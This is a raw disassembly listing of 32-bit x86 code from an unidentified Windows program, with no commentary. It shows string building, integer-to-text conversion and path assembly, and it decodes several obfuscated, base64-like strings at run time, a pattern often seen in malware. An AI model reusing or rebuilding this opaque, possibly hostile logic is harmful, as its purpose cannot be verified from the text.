mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x498]
mov byte [ebp - 4], 0xf2
push eax
lea eax, [ebp - 0x3a8]
mov ecx, edi
push eax
push dword [ebp - 0x2ac]
call fcn.0040ec50
or dword [ebp - 0x2c0], 0x100
sub esp, 0x18
mov byte [ebp - 4], 0xf3
mov esi, esp
xorps xmm0, xmm0
sub esp, 0x18
mov ecx, esp
push 0x18
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bXxWQBkGBQ46Q15dWF0LGg
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x5b8]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xf4
lea eax, [ebp - 0x254]
cmp dword [ebp - 0x240], 0x10
push dword [ebp - 0x244]
cmovae eax, dword [ebp - 0x254]
push eax
push ecx
call fcn.0040e030
xorps xmm0, xmm0
movups xmmword [esi], xmm0
or dword [ebp - 0x2c0], 0x200
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0xf5
call fcn.004101b0
mov byte [ebp - 4], 0xf2
mov ecx, dword [ebp - 0x5a4]
cmp ecx, 0x10
jb 0x40d1dd
mov edx, dword [ebp - 0x5b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40d1d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xf1
mov ecx, dword [ebp - 0x394]
mov dword [ebp - 0x5a8], 0
mov dword [ebp - 0x5a4], 0xf
mov byte [ebp - 0x5b8], 0
cmp ecx, 0x10
jb 0x40d236
mov edx, dword [ebp - 0x3a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40d22c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xf0
mov ecx, dword [ebp - 0x5bc]
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0xf
mov byte [ebp - 0x3a8], 0
cmp ecx, 0x10
jb 0x40d28f
mov edx, dword [ebp - 0x5d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40d285
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xe3
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x5c0], 0
mov dword [ebp - 0x5bc], 0xf
mov byte [ebp - 0x5d0], 0
cmp ecx, 0x10
jb 0x40d2e8
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40d2de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
jmp 0x40d311
sub esp, 0x18
mov dword [ebp - 4], 0xce
mov ecx, esp
xorps xmm0, xmm0
push 0x10
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bX5cUwcHVyEHdFA
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x1380]
push eax
call fcn.00417d90
mov edi, eax
xor ecx, ecx
mov byte [ebp - 4], 0xf7
lea esi, [ebp - 0xf7]
mov dword [ebp - 0x2a8], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40d360
push ecx
lea eax, [ebp - 0xf7]
push eax
push esi
lea ecx, [ebp - 0x648]
call fcn.0040ef30
or dword [ebp - 0x2c0], 0xc00
mov eax, dword [ebp - 0x2b4]
lea esi, [ebp - 0x7f]
mov byte [ebp - 4], 0xf8
mov ecx, eax
test eax, eax
jns 0x40d406
neg ecx
mov dword [ebp - 0x2a8], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40d3d0
dec esi
mov byte [esi], 0x2d
jmp 0x40d440
mov dword [ebp - 0x2a8], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40d410
push ecx
lea eax, [ebp - 0x7f]
push eax
push esi
lea ecx, [ebp - 0x630]
call fcn.0040ef30
or dword [ebp - 0x2c0], 0x3000
push 2
push 0x4b8e78
push ecx
lea ecx, [ebp - 0x630]
mov byte [ebp - 4], 0xf9
call fcn.0040e030
or dword [ebp - 0x2c0], 0x4000
xorps xmm0, xmm0
movups xmmword [ebp - 0x310], xmm0
mov dword [ebp - 0x300], 0
mov dword [ebp - 0x2fc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x310], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x300], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xfa
mov edx, dword [ebp - 0x2fc]
mov eax, edx
mov ecx, dword [ebp - 0x300]
sub eax, ecx
cmp eax, 1
jb 0x40d502
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x300], eax
lea eax, [ebp - 0x310]
cmovae eax, dword [ebp - 0x310]
mov word [eax + ecx], 0x5c
lea eax, [ebp - 0x310]
jmp 0x40d523
push 1
push 0x4b8e6c
mov byte [ebp - 0x344], 0
lea ecx, [ebp - 0x310]
push dword [ebp - 0x344]
push 1
call fcn.0040e980
or dword [ebp - 0x2c0], 0x8000
xorps xmm0, xmm0
movups xmmword [ebp - 0x4b0], xmm0
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x648]
mov byte [ebp - 4], 0xfb
push eax
lea eax, [ebp - 0x4b0]
push eax
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0x618]
call fcn.0040ec50
or dword [ebp - 0x2c0], 0x10000
push edi
lea eax, [ebp - 0x618]
mov byte [ebp - 4], 0xfc
push eax
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0x600]
call fcn.0040ec50
or dword [ebp - 0x2c0], 0x20000
mov esi, dword [ebp - 0x2c8]
lea edx, [ebp - 0x600]
mov byte [ebp - 4], 0xfd
cmp dword [ebp - 0x5ec], 0x10
push ecx
cmovae edx, dword [ebp - 0x600]
mov ecx, esi
call fcn.00406400
add esp, 4
lea ecx, [ebp - 0x600]
call fcn.0040e180
lea ecx, [ebp - 0x618]
call fcn.0040e180
lea ecx, [ebp - 0x4b0]
call fcn.0040e180
lea ecx, [ebp - 0x310]
call fcn.0040e180
lea ecx, [ebp - 0x630]
call fcn.0040e180
lea ecx, [ebp - 0x648]
call fcn.0040e180
lea ecx, [ebp - 0x1380]
mov byte [ebp - 4], 0xce
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x13e0]
call fcn.00407280
push eax
sub esp, 0x18
mov byte [ebp - 4], 0xfe
mov ecx, esp
push str.bX5cUwcHVyEHdFA
call fcn.0040e1d0
lea eax, [ebp - 0x13c8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0xff
lea ecx, [ebp - 0x13b0]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov dword [ebp - 4], 0x100
lea ecx, [ebp - 0x1398]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0040e020
mov edx, eax
mov ecx, esi
call fcn.00406ed0
lea ecx, [ebp - 0x1398]
call fcn.0040e180
lea ecx, [ebp - 0x13b0]
mov dword [ebp - 4], 0xff
call fcn.0040e180
lea ecx, [ebp - 0x13c8]
call fcn.0040e180
lea ecx, [ebp - 0x13e0]
mov byte [ebp - 4], 0xce
call fcn.0040e180
mov ecx, esi
call fcn.004069e0
sub esp, 0x18
mov ecx, esp
push str.bWVWVk4tFhEH
call fcn.0040e1d0
lea eax, [ebp - 0x1488]
push eax
call fcn.00417d90
mov edi, eax
xor edx, edx
mov dword [ebp - 4], 0x102
lea ecx, [ebp - 0x1470]
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x1458]
mov byte [ebp - 4], 3
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1440]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1428]
call fcn.0040e530
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x16f8]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x13f8]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 8
call fcn.0040e020
mov esi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, esi
call fcn.004069d0
lea ecx, [ebp - 0x13f8]
call fcn.0040e180
lea ecx, [ebp - 0x16f8]
call fcn.0040e180
lea ecx, [ebp - 0x1428]
call fcn.0040e180
lea ecx, [ebp - 0x1440]
call fcn.0040e180
lea ecx, [ebp - 0x1458]
call fcn.0040e180
lea ecx, [ebp - 0x1470]
call fcn.0040e180
lea ecx, [ebp - 0x1488]
mov dword [ebp - 4], 0xce
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x14e8]
call fcn.00407280
push eax
sub esp, 0x18
mov dword [ebp - 4], 0x109
mov ecx, esp
push str.bWVWVk4tFhEH
call fcn.0040e1d0
lea eax, [ebp - 0x14d0]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x14b8]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x14a0]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.0040e020
mov edx, eax
mov ecx, esi
call fcn.00406ed0
lea ecx, [ebp - 0x14a0]
call fcn.0040e180
lea ecx, [ebp - 0x14b8]
call fcn.0040e180
lea ecx, [ebp - 0x14d0]
call fcn.0040e180
lea ecx, [ebp - 0x14e8]
mov dword [ebp - 4], 0xce
call fcn.0040e180
mov ecx, esi
call fcn.004069e0
sub esp, 0x18
mov ecx, esp
push str.bXFcWwUAEhY
call fcn.0040e1d0
lea eax, [ebp - 0x1590]
push eax
call fcn.00417d90
mov edi, eax
xor edx, edx
mov dword [ebp - 4], 0x10d
lea ecx, [ebp - 0x1578]
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x1560]
mov byte [ebp - 4], 0xe
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1548]
call fcn.0040e4c0
add esp, 4
mov byte [ebp - 4], 0x10
push 0x4b8e6c
mov edx, eax
lea ecx, [ebp - 0x1530]
call fcn.0040e530
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x1518]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x1500]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x13
call fcn.0040e020
mov edi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, edi
call fcn.004069d0
lea ecx, [ebp - 0x1500]
call fcn.0040e180
lea ecx, [ebp - 0x1518]
call fcn.0040e180
lea ecx, [ebp - 0x1530]
call fcn.0040e180
lea ecx, [ebp - 0x1548]
call fcn.0040e180
lea ecx, [ebp - 0x1560]
call fcn.0040e180
lea ecx, [ebp - 0x1578]
call fcn.0040e180
lea ecx, [ebp - 0x1590]
mov dword [ebp - 4], 0xce
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x15f0]
call fcn.00407280
push eax
sub esp, 0x18
mov dword [ebp - 4], 0x114
mov ecx, esp
push str.bXFcWwUAEhY
call fcn.0040e1d0
lea eax, [ebp - 0x15d8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x15c0]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x15a8]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x17
call fcn.0040e020
mov edx, eax
mov ecx, edi
call fcn.00406ed0
lea ecx, [ebp - 0x15a8]
call fcn.0040e180
lea ecx, [ebp - 0x15c0]
call fcn.0040e180
lea ecx, [ebp - 0x15d8]
call fcn.0040e180
lea ecx, [ebp - 0x15f0]
mov dword [ebp - 4], 0xce
call fcn.0040e180
mov ecx, edi
call fcn.004069e0
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x1638]
sub esp, 0x18
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov dword [ebp - 4], 0x118
mov ecx, esp
push str.bX5cUwcHVyEHdFA
call fcn.0040e1d0
lea eax, [ebp - 0x1620]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1608]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1a
mov ecx, esi
call fcn.0040e5f0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0x1608]
call fcn.0040e180
lea ecx, [ebp - 0x1620]
call fcn.0040e180
lea ecx, [ebp - 0x1638]
mov dword [ebp - 4], 0xce
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x1680]
sub esp, 0x18
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov dword [ebp - 4], 0x11b
mov ecx, esp
push str.bWVWVk4tFhEH
call fcn.0040e1d0
lea eax, [ebp - 0x1668]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1650]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1d
mov ecx, esi
call fcn.0040e5f0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0x1650]
call fcn.0040e180
lea ecx, [ebp - 0x1668]
call fcn.0040e180
lea ecx, [ebp - 0x1680]
mov dword [ebp - 4], 0xce
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x16c8]
sub esp, 0x18
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov dword [ebp - 4], 0x11e
mov ecx, esp
push str.bXFcWwUAEhY
call fcn.0040e1d0
lea eax, [ebp - 0x16b0]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1698]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x20
mov ecx, esi
call fcn.0040e5f0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0x1698]
call fcn.0040e180
lea ecx, [ebp - 0x16b0]
call fcn.0040e180
lea ecx, [ebp - 0x16c8]
mov dword [ebp - 4], 0xce
call fcn.0040e180
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bX5cVw8FVyAedFRcQF0BB1c2A3RFW11THQ
call fcn.0040e1d0
lea eax, [ebp - 0x16e0]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x254]
mov dword [ebp - 4], 0x121
mov ecx, esi
call fcn.0040e6c0
add esp, 4
push 0
push dword [ebp - 0x2b4]
push edi
call fcn.004082c0
lea ecx, [ebp - 0x16e0]
mov dword [ebp - 4], 0xce
call fcn.0040e180
mov byte [ebp - 4], 0xcd
mov esi, dword [ebp - 0x270]
test esi, esi
je 0x40dd0b
mov edi, dword [ebp - 0x26c]
cmp esi, edi
je 0x40dca9
mov ecx, esi
call fcn.0040f0c0
add esi, 0x4c
cmp esi, edi
jne 0x40dc95
mov esi, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x268]
mov eax, 0x6bca1af3
sub ecx, esi
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ecx, eax, 0x4c
mov eax, esi
cmp ecx, 0x1000
jb 0x40dce3
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push esi
call fcn.0041dd21
add esp, 8
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x268], 0
mov dword [ebp - 4], 9
mov ecx, dword [ebp - 0x240]
cmp ecx, 0x10
jb 0x40dd4c
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40dd42
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded7
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0xf
mov byte [ebp - 0x254], 0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x274]
cmp ecx, 0x10
jb 0x40dde7
mov edx, dword [ebp - 0x288]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40dddd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded7
jmp 0x40dddd
push ecx
push edx
call fcn.0041dd21
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x278], 0
lea eax, [ebx + 8]
mov dword [ebp - 0x274], 0xf
mov ecx, esp
mov byte [ebp - 0x288], 0
mov dword [ebp - 4], 1
push eax
call fcn.0040e210
mov esi, dword [ebp - 0x2c8]
push esi
call fcn.00413b50
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 2
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push 0x4b8fd8
mov dword [ecx + 0x14], 0
call fcn.0040e870
push esi
call fcn.00414d60
mov esi, dword [ebp - 0x2b4]
inc esi
jmp 0x40958a
lea ecx, [ebp - 0x234]
call fcn.0040e180
lea ecx, [ebx + 8]
call fcn.0040e180
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0041d890
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x18
call fcn.0047a537
call fcn.0047a537
call fcn.00407270
call fcn.00407270
call fcn.0047a537
call fcn.0047a537
call fcn.0047a537
int3